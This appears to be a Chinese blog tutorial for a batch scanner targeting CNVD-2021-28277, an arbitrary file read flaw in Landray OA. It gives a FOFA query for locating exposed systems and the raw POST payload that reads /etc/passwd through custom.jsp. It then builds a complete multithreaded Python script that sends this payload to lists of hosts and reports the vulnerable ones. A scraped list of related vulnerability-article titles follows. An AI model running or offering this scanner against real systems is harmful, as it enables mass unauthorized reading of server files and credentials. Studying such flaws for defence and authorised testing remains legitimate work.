Python 蓝凌OA任意文件读取批量扫描 poc编写
0x00 前言
CNVD-2021-28277
蓝凌软件全称深圳市蓝凌软件股份有限公司,于2001年在深圳科技园成立。蓝凌是国内知名的大平台OA服务商和国内领先的知识管理解决方案提供商,是专业从事组织的知识化咨询、软件研发、实施、技术服务的国家级高新技术企业,Landray-OA系统被爆出存任意文件读取漏洞。
0x01 fofa 查询语句
app=“Landray-OA系统”
0x02 漏洞位置
POST请求
/sys/ui/extend/varkind/custom.jsp
data:var={“body”:{“file”:“file:///etc/passwd”}}
0x03 漏洞复现
payload
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 42var={"body":{"file":"file:///etc/passwd"}}
0x04 poc编写
4.1 写帮助文档
思考需要的参数
-h --help 帮助文档
-u --url 单个ip测试
-f --file 文件中的所有ip测试
def help():print("""-h --help 打开帮助文档-u --url 对单个ip进行测试-f --file 对文件中的所有ip进行测试""")
4.2 接收用户输入的内容
有了帮助文档 就需要接收用户输入的内容
定义 url_list= [] 列表 用来存储 后续 输入的 ip信息
定义 h u f 参数 u f 后边需要跟内容
help url file 参数 url= file= + 内容
读取到 -u --url 域名 写入 url_list 中
读取到的file文件名 打开 并读取所有内容到列表中 然后关闭
如果报错 提示
import sys
import getoptdef main():opts,args = getopt.getopt(sys.argv[1:],'hu:f:',['help','url=','file='])url_list = []for o,a in opts:if o in ['-h','--help']:help()elif o in ['-u','--url']:url = aurl_list.append(url)elif o in ['-f','--file']:file = atry:f = open(file,'r')url_list = f.readlines()f.close()except:print('读取文件错误!')
4.3 去掉读取出文件内容的换行符
因为 读取出的文件内容存在换行符
for循环 rstrip() 去掉重新加入到urls 列表中
urls = []for i in url_list:urls.append(i.rstrip('\n'))
4.4 加入多线程处理
== 注意使用多线程 时调用的scan()函数要加上try: except(): 其中有一处错误 不会影响整体运行 ==
引入第三方库
定义最大线程为10
扫描次数为 列表数 即存在的ip数
初始扫描次数为0
开始死循环
如果当前线程数-主线程 < 最大线程数 并且 当前扫描次数 小于 要扫描的最大次数(存在的ip数):
建立一个sacn() 线程, url参数就为 第num个列表值
开始运行线程
num = num+1 表示之后开始用下一个列表值
如果 num >=max_num:
输出没有新的目标了。 表示urls列表已经扫完了
此时如果 存活的线程-主线程 =0 的话
说明 所有子线程运行结束 即表示所有扫描结束。
就输出 所有扫描结束
import threadingmax_thread = 10max_num = len(urls)num = 0while(True):if threading.active_count()-1 < max_thread and num < max_num:t = threading.Thread(target=scan,args=(urls[num],))t.start()num+=1if num >= max_num:print('没有新的目标了!')if threading.active_count() -1 == 0:print('所有目标扫描完成!主程序退出')break
4.5 完善扫描模块scan()
== 注意使用多线程 时调用的scan()函数要加上try: except(): 其中有一处错误 不会影响整体运行 ==
定义payload
请求体
请求头
请求功能进行 异常处理 防止多线程时因一处请求不到 导致 中断
根据响应包是否为200并且响应内容中是否存在root 判断是否存在漏洞
import requestsdef scan(url):payload = '/sys/ui/extend/varkind/custom.jsp'target_url = url + payloaddata = 'var={"body":{"file":"file:///etc/passwd"}}'header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36','Accept-Encoding': 'gzip, deflate','Accept': '*/*','Connection': 'close','Content-Type': 'application/x-www-form-urlencoded'}try:re = requests.post(target_url,headers=header,data=data)if re.status_code == 200 and 'root' in re.text:print('存在任意文件读取漏洞 '+target_url)else:print('不存在任意文件读取漏洞 '+target_url)except:print('访问出现错误!')
4.6 测试-u参数不存在漏洞情况
发现在一直处于循环状态 输出没有新的目标了!
思考是因为 目前 num 已经等于了 最大 num数目
但是 下边的if 判断 子线程数还没有 为0 所以没有 break 跳出循环
可以加入 time.sleep(5) 等几秒 应该那个线程就结束 不会输出这么多啦。
修改为
成功
4.7 测试从文件中读取
4.8 完整代码如下
#coding=utf-8
import sys
import getopt
import threading
import requests
import timedef scan(url):payload = '/sys/ui/extend/varkind/custom.jsp'target_url = url + payloaddata = 'var={"body":{"file":"file:///etc/passwd"}}'header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36','Accept-Encoding': 'gzip, deflate','Accept': '*/*','Connection': 'close','Content-Type': 'application/x-www-form-urlencoded'}try:re = requests.post(target_url,headers=header,data=data,timeout=5)if re.status_code == 200 and 'root' in re.text:print('存在任意文件读取漏洞 '+target_url)else:print('不存在任意文件读取漏洞 '+target_url)except:print('访问出现错误!')
def help():print("""-h --help 打开帮助文档-u --url 对单个ip进行测试-f --file 对文件中的所有ip进行测试""")
def main():opts,args = getopt.getopt(sys.argv[1:],'hu:f:',['help','url=','file='])url_list = []for o,a in opts:if o in ['-h','--help']:help()elif o in ['-u','--url']:url = aurl_list.append(url)elif o in ['-f','--file']:file = atry:f = open(file,'r')url_list = f.readlines()f.close()except:print('读取文件错误!')urls = []for i in url_list:urls.append(i.rstrip('\n'))max_thread = 10max_num = len(urls)num = 0while(True):if threading.active_count()-1 < max_thread and num < max_num:t = threading.Thread(target=scan,args=(urls[num],))t.start()num+=1if num >= max_num:print('没有新的目标了!等待当前线程扫描结束!')time.sleep(5)if threading.active_count() -1 == 0:print('所有目标扫描完成!主程序退出')breakmain()
没有搭建本地环境 所以没发出测试存在漏洞的情况
Python 蓝凌OA任意文件读取批量扫描 poc编写相关推荐
- 一米OA任意文件读取漏洞
漏洞描述 一米OA getfile.jsp文件过滤不足,导致任意文件读取漏洞 漏洞影响 一米OA 网络测绘 app="一米OA" 漏洞复现 出现漏洞的文件 <%@
- wsgiserver python 漏洞_新型任意文件读取漏洞的研究
0x00 前言 早前发现boooom在乌云上发了很多个任意文件读取的漏洞,都是形如 http://target/../../../../etc/passwd 这样.当时感觉很新奇,因为正常情况下,通常 ...
- python文件审计系统_Python代码审计实战案例总结之CRLF和任意文件读取
介绍 Python代码审计方法多种多样,但是总而言之是根据前人思路的迁移融合扩展而形成.目前Python代码审计思路,呈现分散和多样的趋势.Python微薄研发经验以及结合实际遇到的思路和技巧进行总结 ...
- python文件审计_Python代码审计实战案例总结之CRLF和任意文件读取
文章目录 介绍 CRLF和任意文件读取的审计实战 CRLF 审计实战 urllib CRLF漏洞(CVE-2019-9740和CVE-2019-9947) httplib CRLF 漏洞 任意文件读取 ...
- 任意文件读取与下载漏洞学习
原理: 任意文件读取漏洞属于文件操作类漏洞,一般常见于PHP/java/python语言中.任意文件读取漏洞,就是可以任意读取服务器上部分或者全部文件的漏洞,攻击者利用此漏洞可以读取服务器敏感文件如/ ...
- 蓝海卓越计费管理系统漏洞学习——download.php 任意文件读取漏洞
警告 请勿使用本文提到的内容违反法律. 本文不提供任何担保 目录 警告 一.概述 二.影响版本 三.漏洞复现 一.概述 蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞,攻击者通 ...
- 蓝海卓越 计费管理系统 download.php 任意文件读取漏洞
漏洞描述: 蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞,攻击者通过 ../ 遍历目录可以读取服务器上的敏感文件. 漏洞利用条件: / 漏洞影响范围: / 漏洞复现: 1.P ...
- python和django的目录遍历漏洞(任意文件读取)
1. 什么是目录遍历漏洞 "目录遍历漏洞"的英文名称是Directory Traversal 或 Path Traversal.指攻击者通过在URL或参数中构造 ../ ..%2F ...
- 读取txt原理_Mysql客户端任意文件读取学习
前言 最近打了 DDCTF和 国赛,发现都考了一个知识点,也就是 MysqlLocalInfile客户端文件读取这个漏洞,下面来详细的学习一个这个漏洞. 漏洞形成原因 此漏洞形成的主要原因在于 LOA ...
- 任意文件读取漏洞知识梳理
文章目录 1.概述 2.开发语言触发点 2.1 PHP 2.2 Python 2.3 Java 2.4 Ruby 2.5 Node 3.中间件/服务器相关触发点 3.1 Nginx错误配置 3.2 数 ...
最新文章
- 利用SurfaceView显示正弦曲线,仿造示波器
- python软件界面-python软件界面介绍(python软件介绍)
- 2019 ICPC World Finals Problem J. Miniature Golf
- 通过Rancher安装K8s
- LeetCode 131. 分割回文串(回溯)
- php从内存中获取源码_PHP源码分析之变量的存储过程分解
- MapReduce入门和优化方案
- android 表格xml,【Android】利用表格布局,Android中xml文件与java的交互制作登录界面...
- [UE4]蓝图的颜色
- java中this,super,extends,implements相关继承概念讲解
- 在php里bd2什么意思,PSR-2 PHP三元语法中是否需要括号?
- 银河麒麟v10下载(服务器版 桌面版) - 2022-09-08更新
- ARM64 LFS 11.1编译成功
- 《数据结构》第五章 树和二叉树 同学问题收集站
- 九度笔记之 1364:v字仇杀队
- JDK目录介绍(bin,db,jre,include,lib,src)以及javac,java命令
- vscode 代码出现波浪线
- 数据结构之线性表及C语言实现
- 【操作系统】30天自制操作系统--(9)叠加处理
- electron实现远程更新
热门文章
- 哪个品牌台灯护眼效果好?分享被央视315表扬的护眼灯
- 修复常见ACPI问题(DSDT等)
- PCB genesis 大孔扩孔(不用G84命令)实现方法
- 两个路由器无线连接教程
- sd卡 格式化 命令 linux,在Linux命令行上格式化SD卡、USB驱动器、闪存驱动器的方法...
- 视频云服务四路玩家,谁是最大赢家
- 本题要求你计算A−B。不过麻烦的是,A和B都是字符串 —— 即从字符串A中把字符串B所包含的字符全删掉,剩下的字符组成的就是字符串A−B。
- BZOJ 4567: [Scoi2016]背单词
- Transformer课程 业务对话机器人Rasa 3.x Reaching Out to the User
- 【响应式Web前端设计】i标签和em标签的区别